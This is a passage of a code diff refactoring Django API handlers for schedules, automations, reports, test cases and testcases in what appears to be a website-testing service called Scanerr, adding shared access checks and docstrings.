resource='schedule', + schedule_id=schedule_id, + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get schedule and assocated task if checks passed + schedule = Schedule.objects.get(id=schedule_id) + task = schedule.task_type + perodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + task_kwargs = json.loads(perodic_task.kwargs) + + # decidign on which task + if task == 'scan': + # run create_scan_bg + create_scan_bg.delay( + **task_kwargs + ) + if task == 'test': + # run create_test_bg + create_test_bg.delay( + **task_kwargs + ) + if task == 'testcase': + # run create_testcase_bg + create_testcase_bg.delay( + **task_kwargs + ) + if task == 'report': + # run create_report_bg + create_report_bg.delay( + **task_kwargs + ) + + # serialize and return + serializer_context = {'request': request,} + data = ScheduleSerializer(schedule, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_schedules(request: object) -> object: + """ + Get one or more `Schedules`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + schedule_id = request.query_params.get('schedule_id') + scope = request.query_params.get('scope') + resource_id = request.query_params.get('resource_id') + user = request.user + account = Member.objects.get(user=user).account + + # setting default + schedules = None + + # check account and resource + check_data = check_account_and_resource( + user=user, resource='schedule', + schedule_id=schedule_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single schedule + if schedule_id: + + # get schedule + schedule = Schedule.objects.get(id=schedule_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ScheduleSerializer(schedule, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get all account scoped schedules + if scope == 'account': + schedules = Schedule.objects.filter( + account=account, + scope='account' + ).order_by('-time_created') + + # get all non account scoped + if scope != 'account' and resource_id is None: + schedules = Schedule.objects.filter( + account=account, + scope=scope + ).order_by('-time_created') + + # get all non account scoped schedules with resource_id + if scope != 'account' and resource_id: + schedules = Schedule.objects.filter( + account=account, + resources__icontains=resource_id, + scope=scope + ).order_by('-time_created') + + # serialize and return + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(schedules, request) + serializer_context = {'request': request,} + serialized = ScheduleSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def get_schedule(request: object, id: str) -> object: + """ + Get single `Schedule` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, + schedule_id=id, resource='schedule' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get schedule if checks passed + schedule = Schedule.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ScheduleSerializer(schedule, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_schedule(request: object, id: str) -> object: + """ + Deletes the `Schedule` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account info + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, schedule_id=id, resource='schedule') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get schedule and task if checks passed + schedule = Schedule.objects.get(id=id) + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + + # delete schedule + schedule.delete() + + # delete task + task.delete() + + # return response + data = {'message': 'Schedule has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def delete_many_schedules(request: object=None) -> object: + """ + Deletes many `Schedules` passed in a list + + Expects: { + 'ids': list + } + + Returns -> HTTP Response object + """ + + # get request data + ids = request.data.get('ids') + member = Member.objects.get(user=request.user) + account = member.account + + # set defaults + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + this_status = True + + # loop through ids and delete + for id in ids: + + # delete schedule + try: + schedule = Schedule.objects.get(id=id) + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + if schedule.account == account: + schedule.delete() + task.delete() + elif str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + except Exception as e: + print(e) + if str(id) not in failed: + num_failed += 1 + this_status = False + failed.append(str(id)) + + # format and return + data = { + 'success': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_tasks_and_schedules( + resource_id : str=None, + scope : object=None, + account : object=None + ) -> None: + """ + Helper function to delete any `Schedules` & `PerodicTasks` + associated with the passed "resource_id", "scope", and + "account" + + Expects: { + 'resource_id' : str, + 'scope' : str + 'account' : object + } + + Returns -> None + """ + # get all scopped Schedules + schedules = Schedule.objects.filter( + resources__icontains=resource_id, + account=account, + scope=scope + ) + + # remove any associated tasks + for schedule in schedules: + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + try: + task.delete() + except Exception as e: + print(e) + + # delete Schedules + schedules.delete() + + return None + + + + +### ------ Begin Automation Services ------ ### + + + + +def create_or_update_automation(request: object) -> object: + """ + Creates or Updates an `Automation` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + actions = request.data.get('actions') + schedule_id = request.data.get('schedule_id') + automation_id = request.data.get('automation_id') + name = request.data.get('name') + expressions = request.data.get('expressions') + + # set defaults + automation = None + schedule = None + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # deciding on recsource + resource = 'automation' if automation_id else 'schedule' + + # checking account and resource + check_data = check_account_and_resource( + request=request, resource=resource, + automation_id=automation_id, schedule_id=schedule_id, + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get schedule if checks passed + if schedule_id: + schedule = Schedule.objects.get(id=schedule_id) + if automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + + # update existing automation + if automation: + if name: + automation.name = name + if expressions: + automation.expressions = expressions + if actions: + automation.actions = actions + if schedule: + automation.schedule = schedule + # save updates + automation.save() + + # create new automation + if not automation: + automation = Automation.objects.create( + name=name, + expressions=expressions, + actions=actions, + schedule=schedule, + user=user, + account=account + ) + + # update schedule + if schedule: + + # update schedule with new automation + schedule.automation = automation + schedule.save() + + # update associated periodicTask + task = PeriodicTask.objects.get(id=schedule.periodic_task_id) + + # update periodic task + arguments = { + 'scope': json.loads(task.kwargs).get('scope'), + 'resources': json.loads(task.kwargs).get('resources'), + 'account_id': json.loads(task.kwargs).get('account_id'), + 'automation_id': str(automation.id), + 'configs': json.loads(task.kwargs).get('configs'), + 'type': json.loads(task.kwargs).get('type'), + 'threshold': json.loads(task.kwargs).get('threshold'), + 'case_id': json.loads(task.kwargs).get('case_id'), + 'updates': json.loads(task.kwargs).get('updates'), + 'task_id': json.loads(task.kwargs).get('task_id'), + } + task.kwargs=json.dumps(arguments) + task.save() + + # serialize and return + serializer_context = {'request': request,} + data = AutomationSerializer(automation, context=serializer_context).data + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def get_automations(request: object) -> object: + """ + Get one or more `Automations`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + automation_id = request.query_params.get('automation_id') + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource( + user=user, resource='automation', automation_id=automation_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single automation + if automation_id: + + # get automation + automation = Automation.objects.get(id=automation_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = AutomationSerializer(automation, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get all automations associated with account + automations = Automation.objects.filter(account=account).order_by('-time_created') + + # serialize and return + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(automations, request) + serializer_context = {'request': request,} + serialized = AutomationSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def get_automation(request: object, id: str) -> object: + """ + Get single `Automation` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, + automation_id=id, resource='automation' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get automation if checks passed + automation = Automation.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = AutomationSerializer(automation, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_automation(request: object, id: str) -> object: + """ + Deletes the `Automation` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account info + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, automation_id=id, resource='automation') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get automation if checks passed + automation = Automation.objects.get(id=id) + + # delete automation + automation.delete() + + # return response + data = {'message': 'Automation has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Report Services ------ ### + + + + +def create_or_update_report(request: object) -> object: + """ + Creates or Updates an `Report` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + report_id = request.data.get('report_id') + page_id = request.data.get('page_id') + report_type = request.data.get('type', ['lighthouse', 'yellowlab']) + text_color = request.data.get('text_color', '#24262d') + background_color = request.data.get('background_color', '#e1effd') + highlight_color = request.data.get('highlight_color', '#4283f8') + + # set defaults + report = None + page = None + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='report', + report_id=report_id, page_id=page_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get page if checks passed + if page_id: + page = Page.objects.get(id=page_id) + # get report if checks passed + if report_id: + report = Report.objects.get(id=report_id) + + # build report info + info = { + "text_color": text_color, + "background_color": background_color, + "highlight_color": highlight_color, + } + + # update report + if report: + if info: + report.info = info + if report_type: + report.type = report_type + # save updates + report.save() + + # create new report + if not report: + report = Report.objects.create( + user=request.user, + page=page, + site=page.site, + account=account, + info=info, + type=report_type + ) + + # get uncached report + un_cached_report = Report.objects.get(id=report.id) + + # generate report + report_data = R(report=un_cached_report).generate_report() + + # serialize report + serializer_context = {'request': request,} + new_report = ReportSerializer( + report_data['report'], + context=serializer_context + ).data + + # format return data + data = { + 'report': new_report, + 'success': report_data['success'], + 'message': report_data['message'] + } + + # serialize and return + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def get_reports(request: object) -> object: + """ + Get one or more `Reports`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + page_id = request.query_params.get('page_id', None) + report_id = request.query_params.get('report_id', None) + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource( + user=user, resource='report', report_id=report_id, + page_id=page_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single report + if report_id: + + # get report + report = Report.objects.get(id=report_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get reports scoped to page if checks passed + if page_id: + page = Page.objects.get(id=page_id) + reports = Report.objects.filter(page=page, account=account).order_by('-time_created') + + # get reports scoped to user if checks passed + if page_id is None and report_id is None: + reports = Report.objects.filter(user=request.user).order_by('-time_created') + + # serialize and return + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(reports, request) + serializer_context = {'request': request,} + serialized = ReportSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response + + + + +def get_report(request: object, id: str) -> object: + """ + Get single `Report` from the passed "id" + + Expects: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, + report_id=id, resource='report' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get report if checks passed + report = Report.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = ReportSerializer(report, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + + + +def delete_report(request: object, id: str) -> object: + """ + Deletes the `Report` associated with the passed "id" + + Expcets: { + 'request' : object, + 'id' : str + } + + Returns -> HTTP Response object + """ + + # get user and account info + user = request.user + account = Member.objects.get(user=user).account + + # check account and resource + check_data = check_account_and_resource(request=request, report_id=id, resource='report') + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get report if checks passed + report = Report.objects.get(id=id) + + # remove s3 objects + delete_report_s3_bg.delay(report_id=id) + + # remove report + report.delete() + + # return reponse + data = {'message': 'Report has been deleted',} + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +def export_report(request: object) -> object: + """ + Used to create and send a Scanerr.landing + `Report` to the passed "email" + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # getting data from request + report_id = request.data.get('report_id') + email = request.data.get('email') + first_name = request.data.get('first_name') + + # send task to background + create_report_export_bg.delay( + report_id=report_id, + email=email, + first_name=first_name + ) + + # building response + data = { + 'success': True, + 'error': None + } + + # returning response + response = Response(data, status=status.HTTP_200_OK) + return response + + + + +### ------ Begin Cases Services ------ ### + + + + +def create_or_update_case(request: object) -> object: + """ + Creates or Updates a `Report` + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + case_id = request.data.get('case_id') + steps = request.data.get('steps') + site_url = request.data.get('site_url') + site_id = request.data.get('site_id') + name = request.data.get('name') + tags = request.data.get('tags') + _type = request.data.get('type') + + # get user and account + user = request.user + account = Member.objects.get(user=user).account + + # setting defaults + site = None + case = None + + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='case', + case_id=case_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get site if site_url passed + if site_url: + if Site.objects.filter(account=account, site_url=site_url).exists(): + site = Site.objects.filter(account=account, site_url=site_url)[0] + + # get site if site_id passed + if site_id: + if Site.objects.filter(account=account, id=site_id).exists(): + site = Site.objects.get(id=site_id) + site_url = site.site_url + + # get case if checks passed + if case_id: + case = Case.objects.get(id=case_id) + + # update Case + if case: + if steps is not None: + steps_data = save_case_steps(steps, case_id) + case.steps = steps_data + if name is not None: + case.name = name + if tags is not None: + case.tags = tags + if site is not None: + case.site = site + if site_url is not None: + case.site_url = site_url + # save updates + case.save() + + # create Case + if not case: + + # generate new uuid + case_id = uuid.uuid4() + + # save step data in s3 + steps_data = save_case_steps(steps, case_id) + + # create new Case + case = Case.objects.create( + id = case_id, + user = request.user, + name = name, + type = _type if _type is not None else "recorded", + site = site, + site_url = site_url, + steps = steps_data, + account = account + ) + + # create process obj + process = Process.objects.create( + site=site, + type='case.pre_run', + object_id=str(case.id), + account=account, + progress=1 + ) + + # start pre_run for new Case + case_pre_run_bg.delay( + case_id=str(case.id), + process_id=str(process.id) + ) + + # serialize and return + serializer_context = {'request': request,} + data = CaseSerializer(case, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) + return response + + + + +def save_case_steps(steps: dict, case_id: str) -> dict: + """ + Helper function that uploads the "steps" data to + s3 bucket + + Expects: { + 'steps' : dict, + 'case_id' : str + } + + Returns -> data: { + 'num_steps' : int, + 'url' : str + } + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # saving as json file temporarily + steps_id = uuid.uuid4() + with open(f'{steps_id}.json', 'w') as fp: + json.dump(steps, fp) + + # seting up paths + steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json') + remote_path = f'static/cases/{case_id}/{steps_id}.json' + root_path = settings.AWS_S3_URL_PATH + steps_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(steps_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={ + 'ACL': 'public-read', + 'ContentType': 'application/json', + 'CacheControl': 'max-age=0' + } + ) + + # remove local copy + os.remove(steps_file) + + # format data + data = { + 'num_steps': len(steps), + 'url': steps_url + } + + # return response + return data + + + + +def get_cases(request: object) -> object: + """ + Get one or more `Cases`. + + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + + # get request data + case_id = request.query_params.get('case_id') + site_id = request.query_params.get('site_id') + user = request.user + account = Member.objects.get(user=user).account + + # setting defaulta + case = None + site = None + + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='case', + case_id=case_id, site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get single case + if case_id: + + # get case + case = Case.objects.get(id=case_id) + + # serialize and return + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) + + # get site if checks passed + if site_id: + site = Site.objects.get(id=site_id) + + # get cases scoped by site + if site: + cases = Case.objects.filter(account=account, site=site).order_by('-time_created') + + # get cases scoped by account + if not site: + cases = Case.objects.filter(account=account).order_by('-time_created') + + # serialize and return paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(automations, request) + result_page = paginator.paginate_queryset(cases, request) serializer_context = {'request': request,} - serialized = AutomationSerializer(result_page, many=True, context=serializer_context) + serialized = CaseSerializer(result_page, many=True, context=serializer_context) response = paginator.get_paginated_response(serialized.data) record_api_call(request, response.data, '200') return response -def delete_automation(request, id): - user = request.user - account = Member.objects.get(user=user).account - - try: - automation = Automation.objects.get(id=id) - except: - data = {'reason': 'cannot find a Automation with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if automation.account != account: - data = {'reason': 'delete an automation you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - automation.delete() +def get_case(request: object, id: str) -> object: + """ + Get single `Case` from the passed "id" - data = {'message': 'Automation has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + Expects: { + 'request' : object, + 'id' : str + } + Returns -> HTTP Response object + """ + # get user and account + user = request.user + account = Member.objects.get(user=user).account + # check account and resource + check_data = check_account_and_resource(request=request, + case_id=id, resource='case' + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get case if checks passed + case = Case.objects.get(id=id) + + # serialize and return + serializer_context = {'request': request,} + serialized = CaseSerializer(case, context=serializer_context) + data = serialized.data + record_api_call(request, data, '200') + return Response(data, status=status.HTTP_200_OK) +def search_cases(request: object) -> object: + """ + Searches for matching `Cases` to the passed + "query" -def create_or_update_report(request): + Expects: { + 'request': obejct + } + + Returns -> HTTP Response object + """ + # get request data user = request.user account = Member.objects.get(user=user).account + query = request.query_params.get('query') + + # search for cases + cases = Case.objects.filter( + Q(account=account, name__icontains=query) | + Q(account=account, site_url__icontains=query) + ).order_by('-time_created') + + # serialize and rerturn + paginator = LimitOffsetPagination() + result_page = paginator.paginate_queryset(cases, request) + serializer_context = {'request': request,} + serialized = CaseSerializer(result_page, many=True, context=serializer_context) + response = paginator.get_paginated_response(serialized.data) + record_api_call(request, response.data, '200') + return response - report_id = request.data.get('report_id', None) - site_id = request.data.get('site_id', None) - report_type = request.data.get('type', ['lighthouse', 'yellowlab']) - text_color = request.data.get('text_color', '#24262d') - background_color = request.data.get('background_color', '#e1effd') - highlight_color = request.data.get('highlight_color', '#4283f8') - site = Site.objects.get(id=site_id) - info = { - "text_color": text_color, - "background_color": background_color, - "highlight_color": highlight_color, + + +def create_auto_cases(request: object) -> object: + """ + Initiates a new `Case` generation task for the `Site` + associated with either the passed "site_url" or "site_id" + + Expects: { + 'request': object } - if report_id: - try: - report = Report.objects.get(id=report_id) - except: - data = {'reason': 'cannot find a Report with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + Returns -> HTTP Response object + """ - if report.account != account: - data = {'reason': 'update a Report you do not own'} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + # get request data + site_id = request.data.get('site_id') + site_url = request.data.get('site_url') + start_url = request.data.get('start_url') + max_cases = request.data.get('max_cases', 4) + max_layers = request.data.get('max_layers', 6) + configs = request.data.get('configs', None) - else: - report = Report.objects.create( - user=request.user, site=site, - account=account - ) + # get user and account + user = request.user + account = Member.objects.get(user=user).account - # update report data - report.info = info - report.type = report_type - report.save() - un_cached_report = Report.objects.get(id=report.id) + # updating configs if None: + configs = account.configs if configs == None else configs + # get site if only site_url present + if site_url is not None: + site = Site.objects.filter(account=account, site_url=site_url)[0] + site_id = str(site.id) - # generate report - updated_report = R(report=un_cached_report).make_test_report() + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='case', + site_id=site_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get site if only site_id present + if site_id and not site_url: + site = Site.objects.get(id=site_id) + + # create process obj + process = Process.objects.create( + site=site, + type='case.generate', + account=account, + progress=1 + ) - serializer_context = {'request': request,} - data = ReportSerializer(updated_report, context=serializer_context).data - record_api_call(request, data, '201') - response = Response(data, status=status.HTTP_201_CREATED) + # send data to bg_autocase_task + create_auto_cases_bg.delay( + site_id=site_id, + process_id=process.id, + start_url=start_url, + configs=configs, + max_cases=max_cases, + max_layers=max_layers, + ) + + # return response + data = { + 'message': 'Cases are generating', + 'process': str(process.id), + } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) return response +def copy_case(request: object) -> object: + """ + Creates a copy of the passed `Case` -def get_reports(request): - site_id = request.query_params.get('site_id', None) - report_id = request.query_params.get('report_id', None) - user = request.user + Expects: { + 'request': object + } + + Returns -> HTTP Response obejct + """ + + # get request data + case_id = request.data.get('case_id') + + # get user and acount + user = request.user account = Member.objects.get(user=user).account - if site_id: - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - reports = Report.objects.filter(site=site, account=account).order_by('-time_created') + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='case', + case_id=case_id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) - if report_id: - try: - report = Report.objects.get(id=report_id) - except: - data = {'reason': 'cannot find a Report with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + # get case if checks passed + if case_id: + case = Case.objects.get(id=case_id, account=account) - if site_id is None and report_id is None: - reports = Report.objects.filter(user=request.user).order_by('-time_created') + # download steps + steps = requests.get(case.steps['url']).json() + + # save steps as new s3 obj + new_case_id = uuid.uuid4() + steps_data = save_case_steps(steps, new_case_id) - paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(reports, request) + # create new case + new_case = Case.objects.create( + id = new_case_id, + user = request.user, + name = f'Copy - {case.name}', + type = case.type, + site = case.site, + site_url = case.site_url, + steps = steps_data, + account = account + ) + + # return response serializer_context = {'request': request,} - serialized = ReportSerializer(result_page, many=True, context=serializer_context) - response = paginator.get_paginated_response(serialized.data) - record_api_call(request, response.data, '200') + data = CaseSerializer(new_case, context=serializer_context).data + record_api_call(request, data, '201') + response = Response(data, status=status.HTTP_201_CREATED) return response - -def delete_report(request, id): - user = request.user - account = Member.objects.get(user=user).account +def delete_case(request: object=None, id: str=None, account: object=None) -> object: + """ + Deletes the `Case` associated with the passed "id" - try: - report = Report.objects.get(id=id) - except: - data = {'reason': 'cannot find a Report with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) + Expcets: { + 'request' : object, + 'id' : str, + 'account' : object, + } - if report.account != account: - data = {'reason': 'delete Reports you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) + Returns -> HTTP Response object + """ - # remove s3 objects - delete_report_s3_bg.delay(report_id=id) + # get user and account info + if request: + account = Member.objects.get(user=request.user).account + user = request.user - # remove report - report.delete() + if not request: + user = account.user - data = {'message': 'Report has been deleted',} - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response + # checking account and resource + check_data = check_account_and_resource( + user=user, resource='case', + case_id=id + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + if request: + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + return data + + # get case if checks passed + case = Case.objects.get(id=id) + + # delete case s3 objects + delete_case_s3_bg.delay(case_id=id) + # delete case + case.delete() + # return response + data = {'message': 'Case has been deleted',} + if request: + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + return data -def get_processes(request): - site_id = request.query_params.get('site_id', None) - process_id = request.query_params.get('process_id', None) - if site_id: - try: - site = Site.objects.get(id=site_id) - except: - data = {'reason': 'cannot find a Site with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - processes = Process.objects.filter(site=site).order_by('-time_created') - if process_id: - try: - process = Process.objects.get(id=process_id) - serializer_context = {'request': request,} - data = ProcessSerializer(process, context=serializer_context).data - record_api_call(request, data, '200') - response = Response(data, status=status.HTTP_200_OK) - return response - except: - data = {'reason': 'cannot find a Process with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if site_id is None and report_id is None: - processes = Process.objects.all().order_by('-time_created') +def get_cases_zapier(request: object) -> object: + """ + Get all `Cases` associated with user's Account. - paginator = LimitOffsetPagination() - result_page = paginator.paginate_queryset(processes, request) - serializer_context = {'request': request,} - serialized = ProcessSerializer(result_page, many=True, context=serializer_context) - response = paginator.get_paginated_response(serialized.data) - record_api_call(request, response.data, '200') - return response + Expects: { + 'request': object + } + + Returns -> HTTP Response object + """ + # get request data + account = Member.objects.get(user=request.user).account + site_id = request.query_params.get('site_id') + cases = None + + # deciding on scope + resource = 'case' + + # check account and resource + check_data = check_account_and_resource( + user=request.user, resource=resource, site_id=site_id, + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + # get all site_id associated cases + if site_id: + site = Site.objects.get(id=site_id) + cases = Case.objects.filter( + account=account, + site=site + ).order_by('-time_created') + + + # get all account assocoiated cases + if cases is None: + cases = Case.objects.filter( + account=account, + ).order_by('-time_created') + + # build response data + data = [] + + for case in cases: + data.append({ + 'id' : str(case.id), + 'name' : case.name, + 'time_created' : str(case.time_created), + 'site' : str(case.site.id), + 'site_url' : case.site_url, + 'steps' : case.steps, + 'tags' : case.tags + }) + + # serialize and return + response = Response(data, status=status.HTTP_200_OK) + return response +### ------ Begin Testcase Services ------ ### +def create_testcase(request: object, delay: bool=False) -> object: + """ + Creates a new `Testcase` from the passed "case_id" for the + passed "site_id" + Expects: { + 'request': obejct + } + Returns -> HTTP Response object + """ -def create_or_update_case(request): + # get request data case_id = request.data.get('case_id') - steps = request.data.get('steps') - name = request.data.get('name') - tags = request.data.get('tags') + site_id = request.data.get('site_id') + updates = request.data.get('updates') + configs = request.data.get('configs', None) + + # get user and account user = request.user account = Member.objects.get(user=user).account - account_is_active = check_account(request) - if not account_is_active: - data = {'reason': 'account not funded',} - record_api_call(request, data, '402') - return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) + # updating configs if None: + configs = account.configs if configs == None else configs - if case_id: - try: - case = Case.objects.get(id=case_id) - except: - data = {'reason': 'cannot find a Case with that id'} - record_api_call(request, data, '404') - return Response(data, status=status.HTTP_404_NOT_FOUND) - - if case.account != account: - data = {'reason': 'retrieve Cases you do not own',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - else: - case.steps = steps - case.name = name - case.tags = tags - case.save() - - else: - case = Case.objects.create( - user = request.user, - name = name, - tags = tags, - steps = steps, - account = account - ) + # checking account and resource + check_data = check_account_and_resource( + request=request, resource='testcase', + case_id=case_id, site_id=site_id, action='add', + ) + if not check_data['allowed']: + data = {'reason': check_data['error'],} + record_api_call(request, data, check_data['code']) + return Response(data, status=check_data['status']) + + # get case & site if checks passed + case = Case.objects.get(id=case_id, account=account) + site = Site.objects.get(id=site_id, 